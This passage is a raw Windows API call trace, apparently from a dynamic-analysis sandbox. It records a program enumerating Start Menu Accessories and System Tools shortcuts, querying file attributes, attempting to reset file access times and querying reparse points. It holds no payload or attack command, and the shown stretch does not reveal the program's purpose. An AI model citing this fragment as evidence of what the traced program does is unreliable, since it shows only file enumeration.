hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27fbfe08, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x27fbfe08, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28032229, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="displayswitch.lnk", cAlternateFileName="")) returned 1 [0092.031] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c2bb60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c2bb60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Math Input Panel.lnk", cAlternateFileName="")) returned 1 [0092.031] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c77e20, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c77e20, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80c77e20, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mobility Center.lnk", cAlternateFileName="")) returned 1 [0092.031] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80afb060, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80afb060, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80afb060, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkProjection.lnk", cAlternateFileName="")) returned 1 [0092.031] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8b74ec, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2d8b74ec, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2da0e14f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paint.lnk", cAlternateFileName="")) returned 1 [0092.031] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173a8e5b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x173a8e5b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x174413dc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Desktop Connection.lnk", cAlternateFileName="")) returned 1 [0092.031] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caf400, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81caf400, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snipping Tool.lnk", cAlternateFileName="")) returned 1 [0092.031] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aad4ba5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aad4ba5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aad4ba5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sound Recorder.lnk", cAlternateFileName="")) returned 1 [0092.031] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cc40e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80cc40e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80cc40e0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sticky Notes.lnk", cAlternateFileName="")) returned 1 [0092.031] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9baa28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c9baa28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3ca06ce9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Center.lnk", cAlternateFileName="")) returned 1 [0092.031] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="")) returned 1 [0092.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a050 [0092.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0092.032] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.032] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0092.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.033] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0092.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.033] NtClose (Handle=0x184) returned 0x0 [0092.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a050) returned 1 [0092.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0092.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a050 [0092.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a260 [0092.035] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9200 [0092.035] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.035] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4ce49a, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e4ce49a, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e51a75b, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Character Map.lnk", cAlternateFileName="")) returned 1 [0092.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a158 [0092.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0092.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8298 [0092.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a578 [0092.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.037] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0f3952, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0f3952, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0092.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.038] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f82b8 [0092.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a680 [0092.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9cc0) returned 0x132a698 [0092.040] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297b3b95, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x297b3b95, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x29825fb5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfrgui.lnk", cAlternateFileName="")) returned 1 [0092.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f82d8 [0092.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a788 [0092.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.041] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d31a0d9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d31a0d9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d36639a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Disk Cleanup.lnk", cAlternateFileName="")) returned 1 [0092.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f82f8 [0092.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a890 [0092.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.043] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141abfff, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x141abfff, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14375082, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource Monitor.lnk", cAlternateFileName="")) returned 1 [0092.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8318 [0092.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a998 [0092.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.045] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5e7f40, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa5e7f40, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa5e7f40, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Information.lnk", cAlternateFileName="")) returned 1 [0092.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8338 [0092.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136aaa0 [0092.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.048] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c8d61e7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c8d61e7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3c8fc347, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Restore.lnk", cAlternateFileName="")) returned 1 [0092.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8358 [0092.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136aba8 [0092.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.050] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9eb814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b9eb814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b9eb814, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task Scheduler.lnk", cAlternateFileName="")) returned 1 [0092.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8378 [0092.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136acb0 [0092.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.052] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ace9ee9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer Reports.lnk", cAlternateFileName="")) returned 1 [0092.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8398 [0092.053] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136adb8 [0092.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.054] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer.lnk", cAlternateFileName="")) returned 1 [0092.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f83b8 [0092.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136aec0 [0092.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer.lnk", cAlternateFileName="")) returned 0 [0092.056] GetLastError () returned 0x12 [0092.056] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9100 [0092.056] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4ce49a, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e4ce49a, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e51a75b, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Character Map.lnk", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0f3952, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0f3952, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297b3b95, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x297b3b95, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x29825fb5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfrgui.lnk", cAlternateFileName="")) returned 1 [0092.056] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d31a0d9, 